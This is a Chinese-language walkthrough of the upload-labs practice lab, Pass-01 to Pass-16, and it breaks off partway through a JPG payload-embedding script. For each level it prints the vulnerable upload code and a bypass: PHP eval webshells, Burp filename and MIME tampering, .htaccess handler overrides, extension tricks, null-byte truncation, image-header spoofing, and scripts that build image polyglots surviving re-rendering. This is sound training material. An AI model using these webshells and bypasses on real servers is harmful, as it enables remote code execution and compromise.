uploads-lab之旅

准备材料:

uploads-lab的搭建

uploads-lab下载为zip文件,并解压在phpstudy下的www文件夹内,注意将文件夹重命名为uploads-lab。
解压成功后访问 http://127.0.0.1/upload-labs 打开即可(PS:部分人burpsuite可能使用本机地址无法抓包,建议127.0.0.1修改为本机地址!)
image.png

Pass-01

任务:上传一个webshell到服务器。
首先先尝试直接传一个一句话木马webshell.php

1
2
3
<?php
eval(_POST[1]);
?>

上传失败,提示:该文件不允许上传,请上传.jpg|.png|.gif类型的文件,当前文件类型为:.php
查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}

f12查看源代码,发现把函数放在了前端
image.png

方法一 禁用js

直接浏览器禁用js
image.png
上传成功,用antsword测试连接,成功
b4797b0734fbfd3618d946ec7938912.png

方法二

修改文件后缀名为webshell.png上传,打开burpsuite抓包:
image.png
将filename参数修改文件后缀.php
用antsword测试连接,成功

方法三(重要)

右键页面-查看网站源代码-全部复制下来-保存为html后缀文件,找到文件中的js代码,删除。删除代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}

这时我们运行这个HTML文件,UI仍然会显示,但是由于我们已经删除了js函数,所以我们不知道要将文件传到哪里。
我们回到原网页,右键页面-检查-网络,上传文件,看到上传的图片的请求网址。(这一步用burpsuite也可以)
7c0ae6a5a632a3866408524ad8e7a72.png
知道请求网址了就可以给html文件添加action了,action是告诉他这个图片提交给谁,因为这个源代码中没有,我们就自己加一个。
7c0ae6a5a632a3866408524ad8e7a72.png
添加好之后重新运行html文件,再上传webshell.php文件,直接就可以上传成功。

Pass-02

要求:上传一个webshell到服务器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$is_upload = false;
$msg = null;
//判断是否上传submit参数
if (isset($_POST['submit'])) {
//检查文件或目录是否存在
if (file_exists($UPLOAD_ADDR)) {
//允许传输 .jpg/.png/.gif 后缀文件
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
//将上传的文件移动到新位置
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';
}
}

解法

这一关是常见验证中的文件类型验证,也就是验证MIME信息,将webshell.php改为webshell.png,并上传,在burp抓包处修改文件名为webshell.php,即可上传成功,antsword连接测试成功。
image.png

1
2
3
4
5
6
7
8

------WebKitFormBoundary09G9BBRK49OTlzSH
Content-Disposition: form-data; name="upload_file"; filename="webshell.png"//将这里修改为webshell.php
Content-Type: image/png

<?php
@eval($_POST[1]);
?>

或者直接上传webshell.php文件,因为检测的是Content-Type参数,所以直接将其修改为image/jpegimage/pngimage/gif三种之一即可。

Pass-03

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$is_upload = false;
$msg = null;
//定义submit参数
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR. '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR .'/'. $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

解法

这次是屏蔽了所有的.asp.aspx.php.jsp文件,但是黑名单定义不完全是可以绕过的可以用.phtml.phps.php5.pht进行绕过。比如将文件名改为webshell.php5上传。
但是要想上传后能执行,要在自己的apachehttpd.conf文件写入,在D:\你安装的位置\phpstudy_pro\Extensions\Apache2.4.39\conf里写入:
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
这样就成功传输和使用了。

注意

如果这样还是不行的话,就是php版本的问题,需要将Nts版本换为ts版本:https://www.cnblogs.com/Article-kelp/p/14927087.html

Pass-04

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

解法

这下禁止上传的文件类型有很多种,我们可以尝试传一个.htaccess文件来把.png文件解析为.php类型

1
2
3
<FilesMatch "webshell.png">
SetHandler application/x-httpd-php
</FilesMatch>

Pass-05

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

解法

相比与第四关,第五关少了转换为小写的这一步骤,因此可以尝试修改为.Php后缀上传,连接成功。

Pass-06

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

解法

这次的代码和之前相比少了首尾去空,因此可以尝试在末尾加上空格,但是我们在本地是无法在末尾添加上空格的,所以需要在burpsuite抓包中修改上传的文件
e4d6f42cc4fc3bf888b6ceb79f1001e.png
这样就可以上传成功。

Pass-07

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

解法

这次缺少了删除文件末尾的点,因此可以在文件末尾添加点来绕过,还是直接在bp中修改文件名并上传即可。

Pass-08

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

解法

这次缺少了对字符串::$DATA的检测,因此使用bp在文件末尾添加对应字符,连接成功。
查询之后发现:在window的时候如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名
例如:”phpinfo.php::$DATA“Windows会自动去掉末尾的::$DATA变成”phpinfo.php

Pass-09

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

解法

这次发现把前面能用的几种方法全部堵死了。但是可以发现:php文件会先删除.,再删除空格。所以可以修改后缀为webshell.php. .来绕过,经过处理之后变成webshell.php.,这样就可以上传了。

Pass-10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
$img_path = $UPLOAD_ADDR . '/' .$file_name;
$is_upload = true;
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

解法

这次会对违规的部分直接移除,导致上传的php后缀文件后缀缺失。这种情况下,这种移除的情况都可以使用双写绕过,即修改为webshell.pphphp上传,这样上传后的文件后缀就会修改为正常的.php,可以正常连接。

Pass-11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = '上传失败!';
}
}
else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

解法

这次是使用白名单过滤,而且

1
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

所以可以使用%00的截断绕过,即:
先上传webshell.jpg然后使用bp抓包,将save_path参数修改为以下即可上传:
image.png

注意

php版本要小于5.3.4 修改php.inimagic_quotes_gpc为OFF状态

Pass-12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上传失败";
}
}
else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

解法

与上一关相比,这次的save_path参数是在POST内的,但是在POST中加%00参数不行,因为会被解析为字符串,但肯定还是使用00来截断,因此这道题需要修改hex
先上传webshell.jpg文件,修改保存路径,并在末尾添加一个字符a
image.png
然后打开Burpsuite的Hex模式,找到对应a字符的hex值修改为00
image.png
也可以raw模式下选中a修改hex为00
image.png

Pass-13

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);

if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上传失败";
}
}
}

解法

getReailFileType()函数获取文件的最开始两个字节,来判断文件类型,因此可以使用图片文件欺骗来进行攻击。不同类型文件文件头标准编码是不同的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
JPEG (jpg),文件头:FF D8 FF
PNG (png),文件头:89 50 4E 47 【参考:png文件头详解】89 50 4e 47 0d 0a 1a 0a
GIF (gif),文件头:47 49 46 38 //常用47 49 46 38 39 61 标识GIF89a
Windows Bitmap (bmp),文件头:42 4D [参考:bmp文件格式详解]42 4D 36 0C 30 00 00 00 00 00 36 00 00 00 28 00 00 00 56 05 00 00 00 03 00 00 01 00 18 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
python反编译文件pyc的头:03 F3 0D 0A (实验吧,py的交易会用到)
pyd的文件头:4D 5A 90 00
ZIP Archive (zip),文件头:50 4B 03 04 ascii码部分是PK,可以直接根据PK判断是zip文件,也有可能是doc文件
rar文件: 52 61 72 21
7z文件头:37 7A BC AF 27 1C(实验吧,有趣的文件用到了)
MS Word/Excel (xls.or.doc),文件头:D0CF11E0
CAD (dwg),文件头:41433130
Adobe Photoshop (psd),文件头:38425053
Rich Text Format (rtf),文件头:7B5C727466
XML (xml),文件头:3C3F786D6C
HTML (html),文件头:68746D6C3E
Email [thorough only] (eml),文件头:44656C69766572792D646174653A
Outlook Express (dbx),文件头:CFAD12FEC5FD746F
Outlook (pst),文件头:2142444E
MS Access (mdb),文件头:5374616E64617264204A
WordPerfect (wpd),文件头:FF575043
Postscript (eps.or.ps),文件头:252150532D41646F6265
Adobe Acrobat (pdf),文件头:255044462D312E
Quicken (qdf),文件头:AC9EBD8F
Windows Password (pwl),文件头:E3828596
RAR Archive (rar),文件头:52617221
Wave (wav),文件头:57415645
AVI (avi),文件头:41564920
Real Audio (ram),文件头:2E7261FD
Real Media (rm),文件头:2E524D46
MPEG (mpg),文件头:000001BA
MPEG (mpg),文件头:000001B3
Quicktime (mov),文件头:6D6F6F76
Windows Media (asf),文件头:3026B2758E66CF11
MIDI (mid),文件头:4D546864

因此,可以在文件前添加GIF89a来迷惑文件检测
image.png
添加之后上传,上传成功,但是这时候文件后缀是.gif格式,这道题要求的是上传图片马,因此到这里即可,我们可以测试一下是否可以使用。

测试

我们在本地创建一个include.php文件

1
2
3
4
5
6
7
8
9
10
11
12
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>

然后保存到upload-labs的目录下即可(与upload文件夹同级),保存之后,用antsword连接
http://你的ip/upload-labs/include.php?file=upload/文件名称,如果可以连接则说明图片马上传成功。(注意,这道题上传的图片马会改名字,修改的名字在response传回时会显示)
image.png

Pass-14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)){
return $ext;
}else{
return false;
}
}else{
return false;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上传失败";
}
}
}

解法

getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
但是也可以使用修改文件头标准编码绕过,所以用和Pass-13相同步骤即可绕过。

Pass-15

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上传失败";
}
}
}

解法

$image_type = exif_imagetype($filename);
exif_imagetype() 读取一个图像的第一个字节并检查其签名。
可以使用和前两题相同的操作来绕过。

注意

如果想要调用exif_imagetype()这个函数需要系统配置文件开启php_exif模块,即php-ini文件中搜索php_exif将行前的分号删除(分号在这个文件中是注释的含义)。

Pass-16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=$UPLOAD_ADDR.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagejpeg($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagepng($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagegif($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

方法一

这道题使用的是图片二次渲染:$im = imagecreatefromjpeg($target_path);该函数接受单个参数$filename,该参数保存图像的名称。返回值:成功时此函数返回图像资源标识符,错误时返回FALSE
首先先上传一个基础图片,上传之后得到的图片下载下来(拖出来),然后准备一个一句话木马文件制
作图片马:

1
copy  two-pass_rendering.jpg /b + webshell.php /a  muma.jpg

其中/b代表二进制文件binary,放在图片后面,/a代表文字文件ascii
62eaa9b1448ffa349f6023a08923ab5.png
生成之后上传,测试连接,但是发现无法连接,把图片用文本形式打开后发现php语句格式前面有缺失(缺少了<),所以在webshell文件前面随便加上一点字符。
image.png
image.png
重新合成,发现这次格式不缺失了,但是这样传上去之后还是不行,查阅资料发现,.jpg文件和.gif不同,前者渲染的方式和后者渲染的方式不同,因此选择gif文件的操作难度更低。
相同步骤重新操作gif文件,合成之后上传,连接发现成功。

方法二

先上传一个png图片,得到二次渲染后的图片,用010编辑器打开,对比两个文件二进制编码:
image.png
红色的是不同的,白色的是相同的,因此可以将一句话木马写在白色位置:
image.png
然后上传连接

方法三(尝试)

可以上传一png结尾的 jpg图片

png jpg 图片马制作

如果想使用.png文件可以使用以下代码生成图片:(这个代码好像在php8版本会报错)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

生成之后得到的一句话木马为:

1
<?=$_GET[0]($_POST[1]);?>

可以如下使用:
image.png
如果想使用jpg文件使用以下代码:(但是由于jpg文件容易损坏,因此可能需要多次生成)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
<?php
$miniPayload = "<?=phpinfo();?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

